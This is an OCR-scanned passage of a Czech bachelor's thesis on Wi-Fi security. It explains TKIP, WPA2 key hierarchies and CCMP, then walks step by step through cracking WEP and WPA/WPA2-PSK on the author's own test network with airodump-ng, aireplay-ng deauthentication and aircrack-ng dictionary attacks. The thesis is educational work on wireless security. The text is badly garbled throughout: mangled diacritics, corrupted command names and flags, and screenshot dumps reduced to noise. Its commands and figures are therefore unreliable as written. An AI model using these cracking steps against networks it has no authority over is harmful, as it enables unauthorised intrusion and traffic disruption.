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Kod MIC se vypocita ze zdrojové adresy (SA), cilové adresy (DA), nesifrovaného
(plaintext) MSDU"" a piisluiného TMK viz Obr. 6.10.

Plaintext MSDU MIC (8 oktetl)
Mlchael
TMK (64 biti) ‘

Obr. 6.10 - Algoritmus Michael (pfepracovano dle [12])

TKIP
Dva kroky pfi mixovani klicu:
V prvnim jsou statickd data (TEK'? + TA" + IV (32 bit)).

V druhém je (vystup prvniho kroku + IV (16 bitd)). Téchto dolnich 16 biti se méni
pro kazdy novy IV a to za pomoci Per Packet Key. Hodnota IV vZdy za¢ind na 0 a zvySuje
se o 1 pro kazdy zaslany paket za podminky, ze TSC < TSC (naposledy vytizené zpravy).

Do RC4 jde vystup druhého kroku, ¢ast rozsifeného IV a dummy bajt. Algoritmus
RC4 zdat, co knému pirisli, vygeneruje proud kli¢i a ten je XOR-ovany pomoci
nesifrované MPDU a starého IV.

""" MSDU (MAC Service Data Unit) — predstavuje data pied fragmentaci
"2 TEK — tajny relaéni kli¢
" TA — vysila¢ MAC adresy, ktery slouzi k zamezeni kolizi IV
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Ext IV (48 biti) ‘ TEK (128 bitii) TA (48 biti)

16 bitii IV \ \ L
(upper)

(lower)

Faze 1: Mixovani kli¢a

TTAC (TKIP — mixed Transmit Address and
Key) —| 80 bitt

Faze 2: Mixpvani klicu

Per-Packet Key (104 bitt)

MAC
hlavicka

IV / KeyID
4 oktety

Rozsiteny [V Data (PDU) MIC ICV FCS
>=1 oktet 8 oktet 4 oktety | 4 oktety

Sifrovano

v

Obr. 6.11 - Mixovani a Sifrovani TKIP (pfepracovano dle [12])

6.3 WPA2 (Wi-Fi Protected Access 2)
6.3.1 Ctyfi faze pro bezpeénou komunikaci
1. Odsouhlaseni bezpecnostnich zasad
Podobné jako u WPA (viz kapitola 6.2.1).
Informace o bezpe¢nostnich zasadach se zaslou v poli RSN Obr. 6.12):

e Podporované autentizacni metody (PSK, 802.1X)

e Bezpecnostni protokoly pro unicast (CCMP)

e Bezpecnostni protokoly pro multicast (CCMP)

e Moznost pted-autentizace pred prepnutim na piistupovy bod stejné sité
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Obr. 6.12 - Odsouhlaseni bezpetnostnich zasad (pFepracovano dle [12])
2. Autentizace
Stejna jako u WPA (viz kapitola 6.2.1).
3. Hierarchie a distribuce kli¢i
A. 4-Way Handshake pro obnoveni PTK" a GTK"”
Délka PTK zavisi na pouziti Sifrovaciho protokolu:
e 384 bitt u CCMP

PTK pracuje se vSemi docasnymi kli¢i jako u protokolu WPA mimo TMK.

' PTK (Pairwase Transient Key) — kli¢ odvozeny z hlavnich parovych kligt (PMK (Pairwase Master Key))
'3 GTK (Group Transient Key) — kli¢ odvozeny z hlavnich skupinovych kli¢ti (GMK (Group Master Key))
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PMK - 256 bitil

Pairwise Transient Key

PTK — 384 biti

Pairwise Transient Key

EAPOL-Key EAPOL-Key Docasny
Potvrzovaci kli¢ Sifrovaci kli¢ Sifrovaci kli¢
128 bita 128 bita 128 bita

Obr. 6.13 - Hierarchie parového klice WPA2 (piepracovano dle [12])

B. Group Key Handshake pro obnovu GTK
Funguje stejné jako WPA (viz kapitola 6.2.1), jen nepouziva docasny kli¢ GIK.
Délka GTK zavisi na pouZziti Sifrovaciho protokolu:

e 128 bitt u CCMP
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MK — 256 bit
AP MAC || GNonce ‘ o e

Rozsiteni skupinového klice

PRF vyuzivajici

GTK — 128 biti J

*—l

Group Encryption Key
128 bith

Obr. 6.14 - Hierarchie skupinového klice WPA2 (pi'epracovano dle [12])

4. Utajeni a integrita dat RSNA

CCMP (Counter Mode with CBC-MAC Protocol) je Sifrovaci protokol, ktery
nahrazuje TKIP. Protokol vyuziva Sifrovaci standard AES. Pfidany zajimavé funkcionality,
napf. pouziti stejného klice k Sifrovani a autentizaci (s riznymi IV).

CCMP pridava k MPDU 16 bajt a to 8 pro hlavicku a 8 pro MIC. Nesifrované
pole obsazené mezi hlavickou MAC a Sifrovanymi daty obsahujici 48. bitové PN a Group
Key KeyID se nazyva hlavicka CCMP. MPDU s kazdym néslednym cyklem zvysi PN
o jednicku. Konec¢ny MIC kéd o velikosti 64 bitti (MIC je 128. bitovy blok, od kterého se
dolnich 64 bitlh oddéli a nasledné vytadi) vyuzivd pro vypocet CBC-MAC algoritmus,
ktery Sifruje pocatecni Nonce blok (vypocet proveden ze zdrojové adresy MPDU,
zvySeného PN a zpoli priorit) a XORy naslednych blokt. Poté se MIC kdéd piipoji
k nesifrovanym datim pro Sifrovani AES v rezimu &itade. Citad tvofi nonce, ktery se
podoba Mic nonce, ale ma pole s hodnotou 1, které se zvySuje o jednicku kazdym
provedenym cyklem.

AES (Advanced Encryption Standard) je blokova Sifra. AES pouziva
symetricky kli¢, coz znamena, ze Sifruje i desifruje pomoci stejného sdilené¢ho klice. Délka
klice mtze byt 128, 192 nebo 256 biti. AES Ssifruje celé 128. bitové bloky (RC4 sifruje
linearné operaci XOR kazdy bajt) a proto ji nazyvame blokova Sifra. Hlavni vyhodou
je velika rychlost a snadnéd implementace.
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Plaintext MPDU ‘ TEK

Cislo paketu

Data

v
Sifrovani CCM

A
v

v

MAC
hlavicka

Hlavicka CCMP
8 oktetu

Data (PDU) >= 1 oktet MIC FCS
8 oktetti | 4 oktety

Sifrovano

v

Obr. 6.15 — CCMP (prepracovano dle [12])

U CCMP se MIC vypogitava z MPDU'®,
6.4 Piehled WEP, WPA a WPA2

V tabulce 6.3 - Pfehled bezpecnostnich protokol mame moznost si prohlédnout
autentizaci a Sifrovani u jednotlivych bezpecnostnich protokoli.

6.3 - Pirehled bezpec¢nostnich protokoli

0 ProtoKd AUTE 0

WEP Open System nebo Shared key RC4

WPA Enterprise 802.1x / EAP TKIP / Michael
WPA Personal PSK TKIP / Michael

WPA2 Enterprise 802.1x / EAP AES / CCMP
WP2 Personal PSK AES / CCMP

' MPDU (MAC Protocol Data Unit) — piedstavuje vice datovych jednotek po fragmentaci
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7 Doporucené zabezpeceni

Nejdiive bychom si méli promyslet par dulezitych véci, nez se pustime
do zabezpeceni. O jaky typ sité se jedna (doméci x firemni). A dal$im dilezitym faktorem
je finan¢ni naro¢nost na potizeni potfebnych prvki atd.

Pokud chceme zabezpecit domaci sit’ (neboli LAN), tak nam staci Wi-Fi router,
ktery umi bezpecnostni protokol WPA2, protoze ten je v této dobé nejlepsi. Nedoporucuji
protokol WPA nebo dokonce WEP. Routerem se zabezpecenim WEP nepifimo fikdme
hackerovi: ,,Pojd’ se pfipojit“! Coz samoziejmé nechceme. Sice doporucuji WPA2, ale
jestli si nastavime kratké, smyslné nebo dokonce jen ciselné heslo, tak to nema viceméné
vyznam si davat WPA2. Dtlezité je si nastavit dostatecné dlouhé heslo. Napiiklad
Adg369jLvMP68ID@)#...., ¢im delsi a ¢im vice kombinaci velkych a malych pismen
s Cisly a riznymi znaky ma nase heslo, tim Iépe pro nas. Heslo bychom méli ménit alesponl
jednou za mésic a tim znemoZznime hackerovi pfistup do nasi sit€¢. Na druhou stranu neni
dobr¢ si nastavené heslo zapisovat kamkoli do pocitace nebo dokonce nalepit na pracovni
sttil nebo na monitor. To by byla obrovska chyba a té hackefi ¢asto vyuzivaji.

Jest¢ miZzeme sit’ zabezpecit pomoci MAC adresy, a to tak, Ze si na routeru
nastavime MAC adresy, kterym umoznime piistup do nasi sité.

Nem¢li bychom zapomenout na zménu piistupového hesla k routeru, protoze kazdy
vyrobce mé defaultni nastaveni napt. jméno: admin a heslo: 1234. Kdyz by se uto¢nik
dostal i ptes prihlaseni na router, tak ndm muiZe vSe prenastavit a to mu nesmime dovolit!

A ted’ se dostdvame k té druhé moZnosti a to je velka firemni sit’, kterd pro své
zabezpeCeni miize pouZit autentizani server. S pouZitim autentizacniho serveru se
dostavame 1 k otdzce finan¢ni naro¢nosti. Jak nas miize napadnout, tak tato moznost stoji
vice financ¢nich prostiedk, ale k ochran¢ svych dat se to rozhodné vyplati!

Pokud pracujeme s citlivymi daty a nechceme o né pfijit, tak bychom méli obétovat
dostate¢ny pocet financi, pro zabezpeceni téchto dat.
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8 Ukazka prolomeni protokolu WEP
Nejdiive si zjistime ndzev nasi externi antény.
airmon-ng

V mém piipadé¢ je to wlan0. Pot¢ mizeme timto piikazem shlédnout vSechny
dostupné sité¢ okolo nas a vybrat si sit’ se zabezpeCenim WEP.

airodump-ng wlan(

Zjistili jsme si, na jakém kanalu nami vybrany cil komunikuje (viz Obr. 8.1 -
Odposlouchavani pienasenych ) a nasledné timto piikazem ho zacneme
odposlouchévat a zapisovat si do souboru inicializa¢ni vektory (iv).

airodump-ng wlan0 —channel 6 —-w WEP.txt —ivs

root@bt: ~ - Shell - Konsole

Session Edit View Bookmarks Settings Help

CH 6 1[ Elapsed: 3 hours 20 mins ][ 2011-18-17 23:82
BSSID PWR RX0Q Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:00:00:00:00:00 -59 180 110373 73205 ] 6 54 WEP WEP Mysak

BSSID STATION PWR Rate Lost Packets Probes
PO:00:00:00:00:00 GO:00:00:00:00:00 -80 48 - 1 c] 476531 Mysak

[=]] am sheit |

Obr. 8.1 - Odposlouchavani prenasenych inicializa¢nich vektorid

Po dostate¢ném poctu odposlechnutych iv (pocet zalezi na délce hesla, které se
snazime rozlustit). V mém piipad¢ jsem zadal tento piikaz pro rozlusténi hesla a pokazde,
kdy byl nedostacujici pocet odposlechnutych iv, tak skoncil a ¢ekal na dalSich pét tisic iv.
Znézornéni na Obr. 8.2 - Hledani hesla

airecrack-ng WEP.txt-01.ivs
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root@bt: ~ - Shell - Konsole <2>

Session Edit View Bookmarks Settings Help

[60:00:37] Tested 1189941 keys (got 73203 IVs)

depth  byte(vote)

By 1 @) 79(84304) C8(83592) 91(82848) 14(s2108)
o/ 69(100912) 1B(8453

e/
E'J _.'{
@ _.'F
Ej _.'{
o/
e/
a/
o/
1/
1 _.'{

5 X

I E00:00:00:00:00:00:00:00:00:00:00:00:00 IR =ssEMNalezeneHeslo

61(102684) 9 G (82044) 25(80700)
73(91880) 868 ) 99(81868) E2(81472)
70(85440) 2C(84086 48(82780) 08(81676)
6F(91040) 0 40 ( 64) F9(81916)
72(92876) ( ) B1(81le64) BB{81488)
( (81568)

85(82028) ¢4 2608) 3D(81800)

S5E(83748) 5 2848) (82196)

91(82972) 4E(81944) 3E(81908)

3A(80472) DD(80312) 48(80156) F4(80124) 30(79920)

EUR. I R TR ]

@ O m
[ R R i N el e e

Decrypted correctly: 100%

[%]] @ shell

Obr. 8.2 - Hledani hesla
Po zjisténi hesla se mizeme piihlasit do sité a pripojit k internetu.

Pro uspésny utok je potieba, aby na dané siti byli uzivatelé a byl velky trafik,
protoze ¢im vétsi, tim rozlusStime heslo rychleji. Bez trafiku, ¢i dokonce uzivatele nemame
Sanci se do této sit¢ dostat 1 piesto, Ze protokol WEP je nejslabsi.

45



9 Ukazka prolomeni protokolu WPA (802.1X)

Nejdiive si zjistime ndzev na$i externi antény. Vice informaci nalezneme
na [17][18].

airmon-ng

V mém piipadé¢ je to wlan0. Pot¢ mizeme piikazem nize shlédnout vSechny
dostupné sité okolo nas a vybrat si sit’ se zabezpecenim WPA.

airodump-ng wlan(

root@bt: ~ - Shell - Konsole

Session Edit View Bookmarks Settings Help

CH 12 1[ Elapsed: 1 mins 1[ 2012-83-12 9:30 ]
B55ID PWR RX0Q Beacons #Data, #/s C ME ENC CIPHER AUTH ES5ID

00:00:00:00:00:00 -3410 17 1@ 2 12 bH4 WPA TKIP PSK Mysak

BSSID STATION PWR Rate Lost Packets Probes

G0:00:00:00:00:080 QO:00:00:00:00:08 -25 54 -48 i 10 Mysak

|| @ shels

Obr. 9.1 — Odposlech

Zjistili jsme si, na jakém kanalu ndmi vybrany cil komunikuje (viz Obr. 9.1)
a nasledné timto ptikazem ho zacneme odposlouchévat a zapisovat si do souboru.

airodump-ng --bssid 00:00:00:00:00:00 —w hackMysak —c 12 wlan0
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root@bt: ~ - Shell - Konsole <2>

Session Edit View Bookmarks Settings Help

CH 12 ][ Elapsed: 35 mins ][ 2812-83-12 10:05 ]
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:00:80:00:00:00 -45 100 20950 412012 389 12 54 WPA TKIP PSK Mysak

|| @ skl

s J

Obr. 9.2 - Ukladani do souboru

Pouzita deautentizace a to za pomoci piikazu, ktery se nachazi nize.

aireplay-ng -0 10000 -a 00:00:00:00:00:00 -c 00:00:00:00:00:00 wlan0
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root@bt: ~ - Shell - Konsole <3>

Session Edit Wiew Bookmarks Settings Help

~# aireplay-ng -0 10 -3 00:00:00:00: ofllc p:00:00:00 wlan®
Waiting for beacon frame (BSSID: : ) ) channel
Sending 64 directed DeAuth. STMAC: )0 :00:00 ) [138]|68
Sending 64 directed DeAuth. STMAC: PO : @ )] [116]57
Sending 64 directed DeAuth. STMAC: 5 )] [142]68
Sending 64 directed DeAuth. STMAC: [@8 : B [169]84
Sending 64 directed DeAuth. C: [PO:00: :00:00]1 [1308]64
Sending 64 directed DeAuth. : ¢ [136]66
Sending 64 directed DeAuth. STMAC: [08 : ) pe ] [194]96
Sending 64 directed DeAuth. STMAC: [00 .06 .00 [174]84
Sending 64 directed DeAuth. STMAC: [G€ ; :00:00 [188]53
Sendina 64 directed DeAuth. STMAC: ; [128]59

(%] am shen |

L .

Obr. 9.3 — Deautentizace

Tento piikaz v mém ptipadé nefungoval a musel jsem cekat, dokud se né&jaky
uzivatel nepfipoji. Jestli jsme ziskali handshake, zjistime sledovanim viz Obr. 9.4. Bude
zobrazen v pravém hornim rohu.
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root@bt: ~ - Shell - Konsole
Session Edit View Bookmarks Settings Help

CH 12 ][ Elapsed: 36 mins ][ 2012-83-12 10:06 ][ WPA handshake: 90:00:00:00:00:00

B55ID PWR RX0Q Beacons #Data, #/s CH MB ENC

CIPHER AUTH ESSID

BE:00:00:00:00:80 -44 180 21559 487918 335 12 54 WPA. TKIP

BSSID STATION PWR Rate Lost Packets

0O:00:00:00:00:00 0O0:00:00:00:00:00 : 403143

|| @ shell |

Obr. 9.4 - Ziskany handshake

A ted uz jen spustit néstroj aircrack a doufat, ze heslo bude ve slovniku. Vice

informaci nalezneme na [16].
Ptikazem

aircrack-ng hackMysak-01.cap -w ./slovnik
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root@bt: ~ - Shell - Konsole <2>

Session Edit View Boockmarks Settings Help

Aircrack-ng 1.1 r1738
[00:80:80] 184 keys tested (596.61 k/s)
Current passphrase: dragonfl
Master Key
Transient Key

BO

EAPOL HMAC : DB

|Fassphrase not in dictionary

lQuitting aircrack-ng...

[%]| @ shen |

Obr. 9.5 - Netispésny slovnikovy utok

Tady vidime, co se stane, kdyz heslo neni v nami zadaném slovniku. Jeding, co
mohu poradit, tak pokracovat dalsimi slovniky a vyckavat.
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root@bt: ~ - Shell - Konsole <2>

Session Edit View Bookmarks Settings Help

Aircrack-ng 1.1 r1738

0:00:00] 216 keys tested (556.58 k/s)

KEY FOUND! [ Aircrack-ngrl7381]

[=1]
I=

Master Key

L
m

o o
-~ oW

Transient Key

Ln

-
%)

EAPOL HMAC

[f=]
w

)| @ shell

Obr. 9.6 - Usp&ny slovnikovy iitok

Hledané heslo bylo ve slovniku a tim padem jsme ziskali ptistup do dané sité. Ted’
uz jen staci se pripojit pomoci ziskaného hesla a surfovat po internetu.

Pro tspéch je zapotiebi, aby v dané siti bylo hodné& uzivatell a tato sit’ méla slabé
heslo. Jinak nemé&me Sanci se do této sité dostat.
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10 Ukazka prolomeni protokolu WPA2

Nejdiive si zjistime ndzev na$i externi antény. Vice informaci nalezneme
na [18][19].

airmon-ng

V mém piipadé¢ je to wlan0. Pot¢ muizeme piikazem nize shlédnout vSechny
dostupné sité okolo nas a vybrat si sit’ se zabezpecenim WPA2.

airodump-ng wlan(

root@bt: ~ - Shell - Konsole

Session Edit Wiew Bookmarks Settings Help

CH 5 ][ Elapsed: 1 min ][ 2012-82-083 03:44
BS5ID PWR Beacons #Data, #/ MB ENC CIPHER AUTH ES5SID

00:00:00:00:00:00 -34 17 18 12 54 WPA2 CCMP PSK Mysak

BSSID STATION PWR Rate Lost Packets Probes

00:00:00:00:00:00 00:00:00:00.:00:00 -25 54 -48 B 18 Mysak

-

(]| @ shen

Obr. 10.1 — Odposlech

Zjistili jsme si, na jakém kandlu ndmi vybrany cil komunikuje (viz Obr. 8.1 -
Odposlouchavani prenaSenych ) a nasledn¢ timto piikazem ho zaCneme
odposlouchévat a zapisovat si do souboru.

airodump-ng --bssid 00:00:00:00:00:00 —w hackMysak —c 12 wlan0
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root@bt: ~ - Shell - Konsole <2>

Session Edit View Bookmarks Settings Help

1[ Elapsed: 1 hour 26 mins ][ 2012-82-83 82:23 ][ fixed channel wlanB: 1

BSS5ID PWR RX0 Beacons #Data, #/s CH MB ENC CIPHER AUTH ES5ID

00:00:00:00:00:00 -37 <] 680 9 2 12 54 WPAZ CCMP PSK Mysak

BSSID STATION PWR Rate Lost Packets Probes

00:00:00:00:00:00 PP:00:00:00:00:00 -29 54 -54 464 11914 Mysak

|| @ shell |

Obr. 10.2 - Ukladani do souboru

Pouzita deautentizace a to za pomoci piikazu, ktery se nachazi nize.

aireplay-ng -0 10000 -a 00:00:00:00:00:00 -c 00:00:00:00:00:00 wlan0
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Session Edit View Bookmarks

Waiting
Sending

64

Sending
Sending 64

Sending

Sending 6¢
Sending 6¢
Sending
Sending &4
Sending
Sending 6¢

Sending

Sending 6¢
Sending
Sending 6¢
Sending 6¢
Sending
Sending B¢

0

FYIN WIR 5 I 8 )
@ w0

LW W W
Mo

1| @ shell

Teno ptikaz jak u WPA, tak i tady mi nefungoval. Nedokdzal donutit odpojit
uzivatele. Musel jsem cekat, dokud se néjaky uzivatel nepfipoji. Jestli jsme ziskali
handshake, zjistime sledovanim viz Obr. 10.4 - Ziskany handshake. Bude zobrazen

Sending
Sending 6¢
Sending
Sending B¢
Sending
Sending 6¢
Sending 64
Sending B¢

directed
directed
directed
directed
directed
directed
directed
directed
directed
directed
directed
directed
directed
directed
directed
directed
directed
directed
directed
directed
directed
directed
directed
directed
directed

v pravém hornim rohu.

root@bt: ~ - Shell - Konsole <4=

Settings

DeAuth.
DeAuth.
DeAuth.
DefAuth.
DeAuth.
DeAuth.
DeAuth.
DeAuth.
DeAuth.
DeAuth.
DeAuth.
DeAuth.
DeAuth.
DeAuth.
DeAuth.
DeAuth.
DeAuth.
DefAuth.
DeAuth.
DeAuth.
DeAuth.
DeAuth.
DeAuth.
DeAuth.
DefAuth.

Obr. 10.3 — Deautentizace

Help

STMAC:
STMAC:

STMAC:
STMAC:
STMAC:

:~# aireplay-ng -0 10008 -a 00:80:00:0
for beacon frame (BSSID: 00:
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Session Edit View Bookmarks Settings Help

CH 7 ][ Elapsed: 5 hours 406 mins ][ 2812-02-83 89:56 ][ WPA handshake: 00:00:00:00:00:00
B55ID FWR Beacons #Data, #/s CH MB ENC CIPHER AUTH E55ID

00:00:00:00:00:00 -36 3104 21681 8 12 54 WPAZ2 CCMP PSK Mysak

BSSID STATION PWR Rate Lost Packets Probes

00:00:00:00:00:00 EO:00:00:00:00:00 - -30 54 -48 [¢] 204828 Mysak

]| @ shell

Obr. 10.4 - Ziskany handshake

A ted uz jen spustit néstroj aircrack a doufat, Ze heslo bude ve slovniku. Vice
informaci nalezneme na [16].

Piikazem

aircrack-ng hackMysak-01.cap -w ./slovnik
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root@bt: ~ - Shell - Konsole

Session Edit View Bookmarks Settings Help
Aircrack-ng 1.1 rl738
[00:00:080] 108 keys tested (696.61 k/s)
Current passphrase: patricia
Master Key : 6 9D @D
BD GC 15 AE
Transient Key : 3E 36 85 D9
F1 C9 60 49
E9 67 48 C2
F9 GB 43 86 40
EAPOL HMAC : OF 45 BC

| Passphrase not in dictionary

|Quitting aircrack-ng...

|| @ shell

Obr. 10.5 - Neuspésny slovnikovy ttok

Tady vidime, co se stane, kdyz heslo neni v nami zadaném slovniku. Jeding, co
mohu poradit, tak pokracovat dalsimi slovniky a vyckavat.
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root@bt: ~ - Shell - Konsole

Session Edit View Bookmarks Settings Help

Aircrack-ng 1.1 rl738

[00:00:00] 4 keys tested (74.46 k/s)

KEY FOUND! [ Alrcrack-ngrl7381]

Master Key

Transient Key

EAPOL HMAC

=

|| @ shen

Obr. 10.6 - Usp&ny slovnikovy titok

Hledané heslo bylo ve slovniku a tim padem jsme ziskali pfistup do dané sité. Ted’
uz jen staci se pripojit pomoci ziskaného hesla a surfovat po internetu.

Pro tuspéch je zapotfebi jako u WPA hodné uZivateli na siti a slabé heslo.
Handshake se da ziskat pomé&rné snadno, ale rozlustit silné heslo je v redlném Ccase
nemozné.
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11 Zavér

Zavér budu vénovat shrnuti poznatkti bakalarské prace. Praktickou demonstraci se
mi povedlo poukazat na nedostatky nékterych protokold, jelikoz se mi podafilo rozlusténi
pristupovych hesel do ukézkovych siti. VSe je v bakalafské praci zdokumentovéano
a doprovazeno pomoci obrazkl obrazovek.

Co se tyce bezpecnostniho protokolu WEP, byl shleddn jako nejméné bezpecny.
Hlavnim divodem bylo, ze zjisténi jakéhokoli hesla je velice snadné. Ale dulezitym
faktorem pro uspésné zdolani tohoto protokolu je zachyceni trafiku na dané siti, do které se
snazime dostat. Trafikem mam na mysli — velky proud dat a minimalné jeden uZzivatel, ale
¢im vice, tim méné casu ndm bude trvat rozlusténi. V praktické ¢asti jsem se snazil do sité
s timto zabezpecCenim dostat, coz bylo uspésné. Ukladal jsem inicializa¢ni vektory a za
jejich pomoci ziskal heslo a mohl se voln¢ pohybovat v ziskan¢ siti.

Dale jsem pouzil slovnikovy ttok na protokol WPA-PSK.

Demonstroval jsem Utok na svou sit’ a ukazal GspéSny a nelspé$ny utok. Vse je
v praktické €asti popsano pomoci print screant obrazovek pro lepsi prehled. Ukladal jsem
si rAmce do souboru a vyckaval do doby, nez se uzivatel pfipoji nebo odpoji a nésledné
ptipoji zpét. Pro ziskédni handshaku miizeme ¢ekat jednu minutu nebo dokonce i cely den.
Po ziskani handshaku jesté neni zdaleka vyhrano, protoze ted’ nastava ¢as pouziti nastroje
aircrack a slovniku. Pro Gspésné prolomeni je nutné, aby administrator nastavil slabé heslo,
které je obsazeno v daném slovniku, ktery jsme si sami vytvofili nebo stahli z databazi
dostupnych na internetu. Pokud administrator nastavil silné¢ heslo a bude ho napftiklad
jednou za mésic ménit, tak se ttocnik nemuze dostat do této sité.

Doporuceni z bakalatské prace je zieymé, Ze Sifrovani pomoci WEP a WPA neni
zcela bezpecné a proto 1ze doporucit nasazeni WPA2, které nebylo prolomeno v kombinaci
s dal$imi bezpe¢nostnimi prvky jako je filtrovani MAC adresy atd.
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